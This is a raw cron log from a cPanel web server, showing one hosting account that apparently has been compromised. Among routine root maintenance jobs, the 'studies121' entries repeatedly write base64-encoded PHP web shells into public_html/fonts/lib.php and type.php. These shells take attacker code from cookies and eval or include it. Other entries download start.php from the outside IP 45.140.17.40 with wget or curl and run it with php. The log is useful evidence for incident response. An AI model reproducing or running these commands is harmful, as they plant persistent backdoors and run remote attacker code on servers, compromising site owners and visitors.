Sep 12 14:34:01 ip-184-168-122-23 CROND[9554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9643]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:35:01 ip-184-168-122-23 CROND[9653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:35:01 ip-184-168-122-23 CROND[9655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:36:01 ip-184-168-122-23 CROND[9748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:36:01 ip-184-168-122-23 CROND[9750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:36:01 ip-184-168-122-23 CROND[9747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:36:02 ip-184-168-122-23 CROND[9751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:36:02 ip-184-168-122-23 CROND[9749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:37:01 ip-184-168-122-23 CROND[9917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:37:01 ip-184-168-122-23 CROND[9920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:37:01 ip-184-168-122-23 CROND[9921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:37:01 ip-184-168-122-23 CROND[9924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:38:01 ip-184-168-122-23 CROND[10001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:38:01 ip-184-168-122-23 CROND[10003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:38:01 ip-184-168-122-23 CROND[10005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:38:01 ip-184-168-122-23 CROND[10006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:38:01 ip-184-168-122-23 CROND[10004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:39:02 ip-184-168-122-23 CROND[10103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:39:02 ip-184-168-122-23 CROND[10104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:39:02 ip-184-168-122-23 CROND[10105]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 14:39:02 ip-184-168-122-23 CROND[10108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:39:02 ip-184-168-122-23 CROND[10106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10202]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:40:02 ip-184-168-122-23 CROND[10209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:40:02 ip-184-168-122-23 CROND[10212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:40:02 ip-184-168-122-23 CROND[10213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:41:01 ip-184-168-122-23 CROND[10311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:41:01 ip-184-168-122-23 CROND[10308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:41:01 ip-184-168-122-23 CROND[10310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:41:01 ip-184-168-122-23 CROND[10309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:42:01 ip-184-168-122-23 CROND[10511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:42:01 ip-184-168-122-23 CROND[10513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:42:01 ip-184-168-122-23 CROND[10514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:42:01 ip-184-168-122-23 CROND[10515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:42:01 ip-184-168-122-23 CROND[10516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:43:01 ip-184-168-122-23 CROND[10629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:43:01 ip-184-168-122-23 CROND[10630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:43:01 ip-184-168-122-23 CROND[10632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:43:01 ip-184-168-122-23 CROND[10633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:44:01 ip-184-168-122-23 CROND[10712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:44:01 ip-184-168-122-23 CROND[10714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:44:01 ip-184-168-122-23 CROND[10716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:44:01 ip-184-168-122-23 CROND[10717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:44:01 ip-184-168-122-23 CROND[10715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:45:01 ip-184-168-122-23 CROND[10807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:45:01 ip-184-168-122-23 CROND[10806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:45:01 ip-184-168-122-23 CROND[10810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:45:01 ip-184-168-122-23 CROND[10812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:45:01 ip-184-168-122-23 CROND[10811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:45:01 ip-184-168-122-23 CROND[10815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:46:02 ip-184-168-122-23 CROND[10909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:46:02 ip-184-168-122-23 CROND[10911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:46:02 ip-184-168-122-23 CROND[10914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:46:02 ip-184-168-122-23 CROND[10915]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 14:46:02 ip-184-168-122-23 CROND[10913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:46:02 ip-184-168-122-23 CROND[10912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
